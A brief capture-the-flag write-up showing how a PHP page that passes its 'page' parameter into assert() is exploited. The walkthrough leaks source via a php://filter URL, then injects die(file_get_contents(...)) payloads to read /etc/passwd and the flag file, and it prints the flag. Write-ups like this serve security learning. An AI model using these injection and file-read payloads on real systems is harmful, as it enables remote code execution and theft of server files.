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Asserted

Trying things

After a while a noticed that the url was using an argument to change between pages:

http://challenge.nahamcon.com:32302/index.php?page=about

If i try something like:

http://challenge.nahamcon.com:32302/index.php?page=../

The page returns: HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE

Digging

I wanted to check the php code of this index.php so i researched a bit and i used this:

http://challenge.nahamcon.com:32302/index.php?page=php://filter/convert.base64-encode/resource=index

To get a base64 encoded index.php file. After decoding we can take a look to this friend:

<?php

if (isset($_GET['page'])) {
  $page = $_GET['page'];
  $file = $page . ".php";

  // Saving ourselves from any kind of hackings and all
  assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");

} else {
  $file = "home.php";
}

include($file);

?>

Looks like that assert function can be abused. Lets try this simple payload:

http://challenge.nahamcon.com:30611/index.php?page='. die("HALLO") .'

The page printed HALLO to the response body so lets try LFI:

http://challenge.nahamcon.com:30611/index.php?page='. die(file_get_contents("/etc/passwd")) .'
And the server printed the hole file to us, cool. Lets find and get the flag then:

http://challenge.nahamcon.com:30611/index.php?page='. die(file_get_contents("/flag.txt")) .'

Flag: flag{85a25711fa6e111ed54b86468a45b90c}

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